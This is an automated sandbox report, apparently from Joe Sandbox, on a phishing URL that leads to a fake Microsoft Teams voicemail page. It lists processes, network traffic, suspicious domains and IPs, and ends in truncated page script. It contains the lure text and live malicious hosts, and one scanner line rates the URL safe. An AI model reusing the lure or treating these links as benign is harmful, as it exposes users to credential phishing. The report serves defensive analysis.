Edit tour

Windows Analysis Report
https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=

Overview

General Information

Sample URL:	https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2t
Analysis ID:	1591145

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected landing page (webpage, office document or email)

Phishing site or detected (based on various text indicators)

Detected non-DNS traffic on DNS port

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 1844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1880,i,1880071846904072501,5477320857706120609,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected landing page (webpage, office document or email)

Source: https://docs.google.com/drawings/d/1ZOS_an7pjHUaClSXynbGUfEA7fF9zl7qP1huGkZ7hIY/preview?pli=1

Joe Sandbox AI: Page contains button: 'Listen to Voicemail' Source: '1.0.pages.csv'

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.0

OCR Text: Voice Message You have a new voice message: WIRELESS CALLER - 12602350413 (260) 235-0413 From: Received: Friday, January 10, 2025 at 8:07 AM Length: 03:18 Call-ID: v-mail ef7485-48583DG9192d-841253f Listen to Voicemail Thank you for using Microsoft Teams! By using Microsoft Teams, you agree to the Terms Of Service, 2025 Microsoft Corporation. All Rights Reserved. and the Microsoft Teams logo are trademarks of Microsoft Corporation.

Source: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/	HTTP Parser: No favicon
Source: https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:55878 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55876 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.242.162
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197

Source: global traffic	DNS traffic detected: DNS query: u5fv5thbb.cc.rs6.net
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: lh7-rt.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bastionbrands.org
Source: global traffic	DNS traffic detected: DNS query: 4fi0t4hki98.lifelinegrant.com
Source: global traffic	DNS traffic detected: DNS query: d5m6th55d9h.bastionbrands.net

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 55881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 55884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 55888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 55880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55878
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55882
Source: unknown	Network traffic detected: HTTP traffic on port 55890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 55887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55888
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55889
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55886
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55891
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 55885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 55889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.242.162:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:55878 version: TLS 1.2

Source: classification engine

Classification label: mal48.phis.win@23/16@30/221

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1880,i,1880071846904072501,5477320857706120609,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1880,i,1880071846904072501,5477320857706120609,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
u5fv5thbb.cc.rs6.net	208.75.122.11	true	false	unknown
ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev	104.21.30.190	true	false	unknown
docs.google.com	142.250.186.174	true	false	high
bastionbrands.org	147.45.179.235	true	false	high
4fi0t4hki98.lifelinegrant.com	147.45.179.235	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	high
d5m6th55d9h.bastionbrands.net	147.45.179.235	true	false	unknown
www.google.com	142.250.184.228	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.97	true	false	high
lh7-rt.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev/	false		unknown
https://docs.google.com/drawings/d/1ZOS_an7pjHUaClSXynbGUfEA7fF9zl7qP1huGkZ7hIY/preview?pli=1	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.35	unknown	United States	15169	GOOGLEUS	false
142.250.80.46	unknown	United States	15169	GOOGLEUS	false
142.250.186.67	unknown	United States	15169	GOOGLEUS	false
147.45.179.235	bastionbrands.org	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
74.125.133.84	unknown	United States	15169	GOOGLEUS	false
172.217.16.206	unknown	United States	15169	GOOGLEUS	false
142.250.186.174	docs.google.com	United States	15169	GOOGLEUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.30.190	ed5eb86c.fc3b0a7544fc698f2914d6dd.workers.dev	United States	13335	CLOUDFLARENETUS	false
216.58.206.46	unknown	United States	15169	GOOGLEUS	false
142.250.181.227	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.195	unknown	United States	15169	GOOGLEUS	false
216.58.212.174	unknown	United States	15169	GOOGLEUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
216.58.212.163	unknown	United States	15169	GOOGLEUS	false
208.75.122.11	u5fv5thbb.cc.rs6.net	United States	40444	ASN-CCUS	false
142.250.185.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.185.65	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591145
Start date and time:	2025-01-14 18:11:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@23/16@30/221

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 172.217.16.206, 74.125.133.84, 142.250.185.206, 142.250.185.110, 142.250.186.35, 199.232.210.172, 142.250.181.227, 142.250.185.195
Excluded domains from analysis (whitelisted): ssl.gstatic.com, clients2.google.com, accounts.google.com, redirector.gvt1.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://u5fv5thbb.cc.rs6.net/tn.jsp?f=001afWrpwCCI2iWUYbszOdwR1t-F0r_p2RGqIn0ncIGJMjdaOM_jQztL2YPmQvt1RwZdAfxf04J-YjkHFOHZPykwyeYjQ4jxhrp3R9ukIwbkymQTpm5mx66BC8isp_B2wncmFDUfjjBx4d0YXiDu3Nc77CSIweAs2ttJcycn-zsNnmgSBgvzRxIsANxjwCYrOKv75WAuwEQwGhM_zCMclXjGqvRsMBSOB_zxaR0ec-_RI8dWprXwmKrbaxahswkhBPJ&c=iov1_LdPHvUx2ChSLIucZWqsBXy1GpnpLdHBEmuzLivt4j5stH_55g==&ch=I1Y8e9rJ4WxwWWgomI7efPIFsqm6CDFWFpV-o6w0qPgtUQs3xBpKiA==

LLM Input / Output

Input	Output
URL: https://u5fv5thbb.cc.rs6.net Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://u5fv5thbb.cc.rs6.net
URL: https://docs.google.com/drawings/d/1ZOS_an7pjHUaCl... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script exhibits several moderate-risk behaviors, including sending data to external domains via `sendBeacon` and redirecting to a potentially suspicious domain. While the script appears to be handling a JavaScript error scenario, the use of an obfuscated URL and the redirection to an unknown domain raise concerns. Further investigation may be needed to determine the legitimacy of the script's purpose." }
if ((!this['init_preview']) \|\| false ) {if (window.navigator && window.navigator.sendBeacon) {var DOCS_hasSentJsNotLoadedError=window['DOCS_hasSentJsNotLoadedError']\|\|false; var perfContext = '';var severityContext = DOCS_hasSentJsNotLoadedError?'&context.severity=postmortem':'';window.navigator.sendBeacon('\/drawings\/jserror?jobset\x3dprod\x26error\x3dJS+binary+load+failure&context.functionName=init_preview' + '&context.serviceWorkerControlled=' + !!(navigator.serviceWorker && navigator.serviceWorker.controller) + '\x26context.actionName\x3dPreview' + severityContext + perfContext); DOCS_hasSentJsNotLoadedError=true;}(window.enterCoreJsErrorDialog ? enterCoreJsErrorDialog() : (window.location.href = 'https:\/\/support.google.com\/accounts\/answer\/32050'))}init_preview({docId: '1ZOS_an7pjHUaClSXynbGUfEA7fF9zl7qP1huGkZ7hIY', enableSvgOnlyPreview: false ,vector: '\x3csvg version\x3d\x221.1\x22 viewBox\x3d\x220.0 0.0 960.0 720.0\x22 fill\x3d\x22none\x22 stroke\x3d\x22none\x22 stroke-linecap\x3d\x22square\x22 stroke-miterlimit\x3d\x2210\x22 xmlns:xlink\x3d\x22http:\/\/www.w3.org\/1999\/xlink\x22 xmlns\x3d\x22http:\/\/www.w3.org\/2000\/svg\x22\x3e\x3cclipPath id\x3d\x22p.0\x22\x3e\x3cpath d\x3d\x22m0 